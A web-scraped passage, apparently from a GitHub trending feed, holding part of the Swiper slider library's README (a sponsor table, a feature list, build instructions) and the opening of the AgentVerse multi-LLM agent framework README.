src="https://swiperjs.com/images/sponsors/suptoday.png" alt="Sup! - Standups, Holidays, and Surveys for your team | Sup! Standup Bot" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoutanspelpaus.io/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoutanspelpaus.jpeg" alt="casino utan svensk licens" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinozondercruks.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/czc-net.png" alt="Casino Zonder Cruks En Nederlandse Licentie" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://www.bestonlinecasinos.in/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bestonlinecasinosin.png" alt="Best Online Casinos India 2023 ▷ Top Indian Casino Sites" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://rotativka.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/rotativka.png" alt="Rotativka.com - Най-добрите онлайн казина в България" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://ua1.com.ua/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/ua1casino.png" alt="рейтинг ліцензійних онлайн казино України" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://justuk.club/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/justuk-club.png" alt="Justuk.club reviews UK non gamstop sites" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://betpokies.co.nz/real-money-casinos/mobile-pokies" target="_blank"> <img src="https://swiperjs.com/images/sponsors/betpokiesconz.png" alt="Mobile Pokies in NZ - Best Mobile Phone Pokies for Real Money [2023] | BetPokies.co.nz" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.casinoaustraliaonline.com/under-1-hour-withdrawal-casinos/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoaustraliaonline.png" alt="Under 1 Hour Withdrawal Casinos in Australia - 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://bitcoincasinowiz.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bitcoincasinowiz.png" alt="Best Bitcoin Casinos in 2023 ✔️ Top Crypto Casino Sites" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://betbetter-pa.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/betbetter.png" alt="PA Online Casino - List of Best Casinos in Pennsylvania" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.newcasinosaustralia.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/newcasinosaustralia.png" alt="New Online Casinos Australia" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinozonderregistratie.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/czrnet.png" alt="Casino Zonder Registratie 2022 | CZR's Top No Account Casino's Ranglijst" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://twicsy.com/buy-instagram-likes" target="_blank"> <img src="https://swiperjs.com/images/sponsors/twicsy.png" alt="Buy Instagram Likes | Real, Instant Delivery &amp; Only $1.47" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://nieuwe-casinos.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nieuwecasinos.png" alt="Nieuwe Online Casino's December 2022 | Overzicht van de top nieuwe casinos!" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://seo.casino/en/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/seo-for-online-casino.png" alt="CASINO SEO | SEO Services for gambling sites and online casinos" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://onlinecasinowiki.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/onlinecasinowiki.png" alt="オンラインカジノ - OnlineCasinoWiki.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://4rabet.com/app" target="_blank"> <img src="https://swiperjs.com/images/sponsors/4rabet.svg?sanitize=true" alt="cricket betting app" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.mister-auto.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/mister-auto.png" alt="Pièces auto neuves au meilleur prix | MISTER AUTO" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://istar.tips/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/istartips.png" alt="iStarTips - Tips for Software, Apps on Android, iPhone" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://giochinet.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/giochinet.png" alt="Giochi online e non solo – A quale gioco vuoi giocare oggi?" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nodeposit.guide/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nodeposit-guide.png" alt="Best No Deposit Bonus Guide 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nzcasinoclub.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nzcasinoclub.png" alt="Discover the Best Online Casinos in New Zealand in 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://asian-bookies.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/asian-bookies.svg?sanitize=true" alt="Best Asian Bookies" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.wisergamblers.com/de/casino-bonus-ohne-einzahlung/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/wisergamblers.png" alt="WiserGamblers | Best Online Gambling Guide" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casino-ohne-lizenz.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casino-ohne-lizenz.svg?sanitize=true" alt="casinos ohne lizenz" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://cryptocasinos360.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/cryptocasinos360.png" alt="new crypto casinos 2023" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://utansvensklicens.casino/casino-minsta-insattning/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/utansvensklicens.png" alt="utländska casino med låg insättning" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nongamstopsites.bet/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nongamstopsites.png" alt="Non Gamstop Betting Sites UK" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://refermate.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/refermate.png" alt="Coupons, Promo Codes, October 2022 — Refermate" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.scommesseseriea.eu/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/scommesseseriea.png" alt="Scommesse Serie A: dove scommettere?" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.one-beyond.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/dcsl-software.png" alt="Software Development Company | Bespoke Software | One Beyond London, UK" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://megafamous.com/buy-instagram-likes" target="_blank"> <img src="https://swiperjs.com/images/sponsors/megafamous.png" alt="Buy Instagram Likes - Real, Instant Likes - $1/50! - MegaFamous" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://betting-sider.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/betting-sider.png" alt="betting sider" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://topcasinoer.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/topcasinoer.png" alt="online casinoer" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://bedstespiludenomrofus.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bedstespiludenomrofus.png" alt="casino uden ROFUS" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://comunicaformazione.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/comunicaformazione.png" alt="Corsi e Formazione Professionale" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://scommesse.commentierecensioni.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/scommessecommentierecensioni.png" alt="Migliori siti scommesse: quale il miglior sito scommesse 2022?" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www1.italianonlinecasino.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/italianonlinecasino.png" alt="Siti scommesse non AAMS | Bookmakers non AAMS 2022" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://betpokies.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/betpokies.png" alt="🥇 Best Australian Online Pokies. Trusted Online Casino Reviews 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.vedonlyontibonukset.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/vedonlyontibonukset.png" alt="Vedonlyöntibonukset 2022 | Ilmaiset vihjeet | Koutsi hoitaa" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoburst.com/casino-utan-licens/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoburst.png" alt="Casino utan svensk licens » Utan Spelpaus med BankID | 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.uudetkasinot.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/uudetkasinot.png" alt="Uudet kasinot Elokuu 2022 🥇 - Parhaat uudet nettikasinot" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.spinsify.com/uk/new-casinos/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/spinsify.png" alt="Top 25 New Casino Sites August 2022 - Spinsify.com/uk" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://thecasinowizard.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/thecasinowizard.png" alt="The Casino Wizard » Best Casinos &amp; (No) Deposit Bonuses 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.noneedtostudy.com/take-my-online-class/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/noneedtostudy.png" alt="Take My Online Class For Me? NoNeedToStudy.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://nzcasinohex.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nzcasinohex.png" alt="Best Online Casino NZ ▷ Top New Zealand Casinos [2022]" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://coupontoaster.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/coupontoaster.png" alt="Coupontoaster: August 2022 Discount Codes, Coupons, Promo Codes &amp; Deals" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://handycasinos24.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/handycasinos24.png" alt="Compare and test the best Online Casinos, with a strong focus on mobile Casino" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://mrcasinova.com/de/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/mrcasinova.png" alt="Make the world a better place for Online Casino comparisons" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://neuecasinos24.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/neuecasinos24.png" alt="Ausführliche Informationen an die interessierten Spieler vermitteln um die bestmögliche Auswahl zu ermöglichen" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://casinopilot24.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinopilot24.png" alt="Online Casino Deutschland - Beste deutsche Online Casinos 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://leafletcasino.com/online-casino/real-money/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/leafletcasino.png" alt="Best Real Money Online Casino ➲ Play Online and Win Real Money" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.fast.bet/ca/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/fastbet-bet-ca.png" alt="Fastest Payout Casinos in Canada [2022]" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://vpnwelt.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/vpnwelt.png" alt="VPNwelt: VPN Neuigkeiten, Testberichte und Statistik 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://realspyapps.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/realspyapps.png" alt="Real Spy Apps - Reviews, You Can Trust" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://cliquestudios.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/cliquestudios.png" alt="Clique Studios - Creative Digital Transformation" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.socialboosting.com/buy-tiktok-followers" target="_blank"> <img src="https://swiperjs.com/images/sponsors/socialboosting.png" alt="Buy TikTok Followers - 100% Real &amp; Fast | Just $5.00 - SocialBoosting" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://gamblorium.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/gamblorium.png" alt="Gamblorium publishes news, information, and reviews about regulated online gambling operators." width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://hellsbet.com/en-au/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/hellsbet.png" alt="Rating of best betting sites in Australia" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.sure.bet/casinos-not-on-gamstop/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/surebet.png" alt="Casinos Not on GamStop » Most Trusted Non GamStop UK Casinos ⭐️" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://cryptocurrencycodes.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/cryptocurrencycodes.png" alt="Top FREE Crypto Sign Up Bonuses &amp; Referral Codes" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoscrypto.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoscryptocom.png" alt="Best Crypto Casinos | Top Bitcoin Gambling Sites (2022)" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://residence-greece.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/residence-greece.jpg" alt="Greece Golden Visa" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://aviators.com.br" target="_blank"> <img src="https://swiperjs.com/images/sponsors/aviatorscombr.png" alt="Aviator aposta ᐈ Jogo de avião Aviator" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoscanada.reviews" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinocanada.png" alt="Casino en Ligne Argent Réel au Canada: Meilleurs Sites de Casino" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://playcasinoscanada.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/play-casinos-canada.png" alt="Discover The Best Reputable Online Casinos in Canada" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://popularwow.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/popularwow.png" alt="The Most Popular Stuff On The Internet" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://poprey.com/buy-instagram-views" target="_blank"> <img src="https://swiperjs.com/images/sponsors/poprey-com.png" alt="Buy Instagram views" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://correctcasinos.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/correctcasinos.png" alt="Correct Casinos | The Ultimate Guide to the Legit Online Casinos" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://writingmetier.com/extended-essay-writing-service/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/writingmetier.png" alt="IB extended essay writing service" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nycjackets.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nycjackets.png" alt="NYC Jackets" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.prointernet.in.ua" target="_blank"> <img src="https://swiperjs.com/images/sponsors/prointernet.png" alt="Інтернет казино онлайн – ТОП online casino України для гри в ігрові автомати" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://bestcasinos-pl.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bestcasinos-pl.png" alt="Kasyno Online Legalne Polska ⚡️ Ranking Kasyn Grudzień 2021 !" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://exittimesharereview.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/exittimesharereview.png" alt="Timeshare exit company reviews" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://aussiebestcasinos.com/instant-withdrawal-casino/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/ausiebestcasinos.png" alt="Instant Withdrawal Casino Sites Worth Visiting in 2021" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.wizardslots.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/wizardslots.png" alt="Online Slots - UK Slot Games - 500 FREE Spins at Wizard Slots" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://celltrackingapps.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/celltrackingapps.png" alt="Best Phone Tracker Apps without Permission in 2021【for iOS &amp; Android】" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://reddogcasino.com/en/games" target="_blank"> <img src="https://swiperjs.com/images/sponsors/red-dog.png" alt="Red Dog Online Casino" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.fortunegames.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/fortunegames.png" alt="Fortune Games® | Free Spins No Deposit Slot Games | Online Slots" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://tankpenge.dk" target="_blank"> <img src="https://swiperjs.com/images/sponsors/tankpenge-dk.png" alt="LÅN PENGE NU | Hurtige Online lån 2021 | Klik her og Ansøg i dag" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://famousblast.com/product/buyfollowers/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/famousblast.png" alt="Buy Instagram Followers - Cheap &amp; Instant - $3.90 per 1.000" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://zamsino.com/de/casino-bonus/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/zamsino.png" alt="Erik Kings Zamsino Bonus seiten" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.casinoonlineaams.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoonlineaams.png" alt="Review of the best online casino in Italy" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.boosbe.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/boosebe.png" alt="Get the most out of Social Media - Boosbe" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://veepn.com/vpn-apps/vpn-for-chrome/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/veepn.png" alt="VPN for Chrome to Make Web Surfing 100% Safe" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoexpo.se/casino-utan-registrering/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoexpo.jpg" alt="CasinoExpo casino utan registrering" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://cryptocasinos.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/cryptocasinos.png" alt="Best Bitcoin Casinos » Find The Best Crypto Casino" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://inkedin.com/us/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/inkedin.png" alt="Inkedin - The Online Gambling News Hub" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://najlepsibukmacherzy.pl/ranking-legalnych-bukmacherow/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/netpositive.png" alt="Ranking Bukmacherów Legalnych 2020. Bukmacher nr 1 to..." width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinosters.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinosters.svg?sanitize=true" alt="The Best Online Casinos in the UK » Gambling Sites by Casinosters" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://gamblizard.com/deposit-bonuses/deposit-10-pound/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/gamblizard.png" alt="Deposit £10 Play with 30, 40, 50, 60, 70, or 80 Pounds✔️ GambLizard" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://goread.io/buy-instagram-likes" target="_blank"> <img src="https://swiperjs.com/images/sponsors/goread.png" alt="Instagram likes" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://elroyalecasino.com/games/blackjack" target="_blank"> <img src="https://swiperjs.com/images/sponsors/elroyalcasino.png" alt="Play Online Blackjack at elroyalecasino.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://paperell.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/paperell.svg?sanitize=true" alt="Website that Writes Essays for You - Paperell.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://socialsup.net" target="_blank"> <img src="https://swiperjs.com/images/sponsors/socials-up.png" alt="Buy 100% Cheap SMM Services - Instagram, YouTube, Twitter" width="160"> </a> </td> <td align="center" valign="middle"></td> <td align="center" valign="middle"></td> <td align="center" valign="middle"></td> </tr> </tbody> </table> <!-- SPONSORS_TABLE_WRAP --> <h2>Features</h2> <ul> <li><strong>Tree-shakeable</strong>: Only modules you use will be imported into your app's bundle.</li> <li><strong>Mobile-friendly</strong>: It is intended to be used in mobile websites, mobile web apps, and mobile native/hybrid apps.</li> <li><strong>Library Agnostic</strong>: Swiper doesn't require any JavaScript libraries like jQuery, which makes Swiper much smaller and faster. It can be safely used with libraries such as jQuery, Zepto, jQuery Mobile, etc.</li> <li><strong>1:1 Touch movement</strong>: By default, Swiper provides 1:1 touch movement interaction, but this ratio can be configured through Swiper settings.</li> <li><strong>Mutation Observer</strong>: Swiper has an option to enable Mutation Observer, with this feature Swiper will be automatically reinitialized and recalculate all required parameters if you make dynamic changes to the DOM, or in Swiper styles itself.</li> <li><strong>Rich API</strong>: Swiper comes with a very rich API. It allows creating your own pagination, navigation buttons, parallax effects and many more.</li> <li><strong>RTL</strong>: Swiper is the only slider that provides 100% RTL support with correct layout.</li> <li><strong>Multi Row Slides Layout</strong>: Swiper allows a multiple row slides layout, with a few slides per column.</li> <li><strong>Transition Effects</strong>: Fade, Flip, 3D Cube, 3D Coverflow.</li> <li><strong>Two-way Control</strong>: Swiper may be used as controller for any number of other Swipers, and even be controlled at the same time.</li> <li><strong>Full Navigation Control</strong>: Swiper comes with all required built-in navigation elements, such as Pagination, Navigation arrows and Scrollbar.</li> <li><strong>Flexbox Layout</strong>: Swiper uses modern flexbox layout for slides layout, which solves a lot of problems and time with size caclulations. Such layout also allows configuring the Slides grid using pure CSS.</li> <li><strong>Most Flexible Slides Layout Grid</strong>: Swiper has a lot of parameters on initialization to make it as flexible as possible. You can control slides per view, per column, per group, space between slides, and many more.</li> <li><strong>Images Lazy Loading</strong>: Swiper Lazy Loading delays loading of images in inactive/invisible slides until the user swipes to them. Such feature could make the page load faster and improve Swiper performance.</li> <li><strong>Virtual Slides</strong>: Swiper comes with Virtual Slides feature that is great when you have a lot of slides or content-heavy/image-heavy slides so it will keep just the required amount of slides in DOM.</li> <li><strong>Loop mode</strong></li> <li><strong>Autoplay</strong></li> <li><strong>Keyboard control</strong></li> <li><strong>Mousewheel control</strong></li> <li><strong>Nested sliders</strong></li> <li><strong>History navigation</strong></li> <li><strong>Hash navigation</strong></li> <li><strong>Breakpoints configuration</strong></li> <li><strong>Accessibility (A11y)</strong></li> <li><strong>And many more ...</strong></li> </ul> <h2>Community</h2> <p>The Swiper community can be found on <a href="https://github.com/nolimits4web/swiper/discussions">GitHub Discussions</a>, where you can ask questions, voice ideas, and share your projects</p> <p>Our <a href="https://github.com/nolimits4web/swiper/raw/master/CODE_OF_CONDUCT.md">Code of Conduct</a> applies to all Swiper community channels.</p> <h2>Dist / Build</h2> <p>On production use files (JS and CSS) only from <code>dist/</code> folder, there will be the most stable versions.</p> <h3>Development Build</h3> <p>Install all dependencies, in repo's root:</p> <pre><code> $ npm install </code></pre> <p>And build development version of Swiper:</p> <pre><code> $ npm run build </code></pre> <p>The result is available in <code>dist/</code> folder.</p> <h3>Running demos:</h3> <p>All demos located in <code>./playground</code> folder. There you will find Core (HTML, JS), React, Vue versions. To open demo, run:</p> <ul> <li><strong>Core</strong>: <code>npm run core</code></li> <li><strong>React</strong>: <code>npm run react</code></li> <li><strong>Vue</strong>: <code>npm run vue</code></li> </ul> <h3>Production Build</h3> <pre><code> $ npm run build:prod </code></pre> <p>Production version will available in <code>dist/</code> folder.</p> <h2>Contributing</h2> <p>All changes should be committed to <code>src/</code> files only. Before you open an issue please review the <a href="https://github.com/nolimits4web/swiper/raw/master/CONTRIBUTING.md">contributing</a> guideline.</p> <h2>Major Roadmapped Features</h2> <ul> <li><a href="https://github.com/nolimits4web/swiper/issues?q=is%3Aissue+is%3Aopen+label%3A%22feature+request%22+sort%3Areactions-%2B1-desc+">Top Feature Requests</a> (Add your own votes using the 👍 reaction)</li> <li><a href="https://github.com/nolimits4web/swiper/issues?q=is%3Aissue+is%3Aopen+-label%3A%22feature+request%22++sort%3Areactions-%2B1-desc+">Top Bugs 😱</a> (Add your own votes using the 👍 reaction)</li> </ul> <h2>Contributors</h2> <h3>Code Contributors</h3> <p>This project exists thanks to all the people who contribute. [<a href="https://raw.githubusercontent.com/nolimits4web/swiper/master/CONTRIBUTING.md">Contribute</a>]. <a href="https://raw.githubusercontent.com/nolimits4web/swiper/master/CODE_CONTRIBUTORS.md"><img src="https://opencollective.com/swiper/contributors.svg?width=890&amp;button=false"></a></p> <h3>Financial Contributors</h3> <p>Become a financial contributor and help us sustain our community. [<a href="https://opencollective.com/swiper/contribute">Contribute</a>]</p> <p><a href="https://opencollective.com/swiper"><img src="https://opencollective.com/swiper/individuals.svg?width=890"></a></p> - - - OpenBMB/AgentVerse - 2023-09-24T01:53:28Z - tag:github.com,2023-09-24:/OpenBMB/AgentVerse - - <p>🤖 AgentVerse 🪐 provides a flexible framework that simplifies the process of building custom multi-agent environments for large language models (LLMs).</p><hr><h1 align="center"> 🤖 AgentVerse 🪐 </h1> <h3 align="center"> <p>A Framework for Multi-LLM Environment Simulation</p> </h3> <p align="center"> <a href="https://github.com/OpenBMB/AgentVerse/raw/main/LICENSE"> <img alt="License: Apache2" src="https://img.shields.io/badge/License-Apache_2.0-green.svg?sanitize=true"> </a> <a href="https://www.python.org/downloads/release/python-3916/"> <img alt="Documentation" src="https://img.shields.io/badge/python-3.9+-blue.svg?sanitize=true"> </a> </p> <p align="center"> <img src="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/imgs/title.png" width="512"> </p> <p align="center"> 【English | <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/README_zh.md">Chinese</a>】 </p> <p><strong>AgentVerse</strong> offers a versatile framework that streamlines the process of creating custom multi-agent environments for large language models (LLMs). Designed to facilitate swift development and customization with minimal effort, our framework empowers researchers to concentrate on their research, rather than being bogged down by implementation details.</p> <hr> <h2>✨ Features</h2> <ul> <li> <p>🥳 <strong>Efficient Environment Building:</strong> Our framework provides a collection of essential building blocks for effortlessly creating a multi-agent environment. With only a few lines in a configuration file, you can easily construct basic environments such as a chat room for LLMs. This process entails defining the environment's settings and prompts for LLMs, enabling researchers like you to concentrate on experimentation and analysis.</p> </li> <li> <p>⚙️ <strong>Customizable Components</strong>: AgentVerse simplifies the multi-agent environment by dividing it into five functional modules and defining their respective interfaces. For complex environments that cannot be constructed directly using the basic modules offered in AgentVerse, you can customize one or more of the interfaces within these five functional modules to efficiently create your own multi-agent environment according to your requirements.</p> </li> <li> <p>🛠 <strong>Tools (Plugins) Utilization</strong>: AgentVerse supports the multi-agent environments with tools. Currently, AgentVerse supports tools provided in <a href="https://github.com/OpenBMB/BMTools">BMTools</a>.</p> </li> </ul> <h2>📰 What's New</h2> <ul> <li>[2023/8/22] 📝 We're excited to share our work-in-progress paper <a href="https://arxiv.org/abs/2308.10848">AgentVerse: Facilitating Multi-Agent Collaboration and Exploring Emergent Behaviors in Agents</a> related to this repository.</li> </ul> <img width="616" alt="Screen Shot 2023-09-01 at 12 08 57 PM" src="https://github.com/OpenBMB/AgentVerse/assets/11704492/6db1c907-b7fc-42f9-946c-89853a28f386"> <p>You could refer the stay-tuned code in this <a href="https://github.com/OpenBMB/AgentVerse/tree/AgentVerse-TaskSolving">branch</a>.</p> <ul> <li>[2023/6/5] 🎉 We are thrilled to present an array of <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-simple-demo-video">demos</a>, including <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#nlp-classroom">NLP Classroom</a>, <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#prisoner-dilemma">Prisoner Dilemma</a>, <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#software-design">Software Design</a>, <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#database-administrator-dba">Database Administrator</a>, and a simple <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#pokemon">H5 Pokemon Game</a> that enables the interaction with the characters in Pokemon! Try out these demos and have fun!</li> <li>[2023/5/1] 🚀 <a href="https://github.com/OpenBMB/AgentVerse">AgentVerse</a> is officially launched!</li> </ul> <h2>🌟 Join Us!</h2> <p>AgentVerse is on a mission to revolutionize the multi-agent environment for large language models, and we're eagerly looking for passionate collaborators to join us on this exciting journey.</p> <h3>How Can You Contribute?</h3> <ul> <li> <p><strong>Code Development</strong>: If you're an engineer, help us refine, optimize, and expand the current framework. We're always looking for talented developers to enhance our existing features and develop new modules.</p> </li> <li> <p><strong>Documentation and Tutorials</strong>: If you have a knack for writing, help us improve our documentation, create tutorials, or write blog posts to make AgentVerse more accessible to the broader community.</p> </li> <li> <p><strong>Application Exploration</strong>: If you're intrigued by multi-agent applications and are eager to experiment using AgentVerse, we'd be thrilled to support your journey and see what you create!</p> </li> <li> <p><strong>Feedback and Suggestions</strong>: Use AgentVerse and provide us with feedback. Your insights can lead to potential improvements and ensure that our framework remains top-notch.</p> </li> </ul> 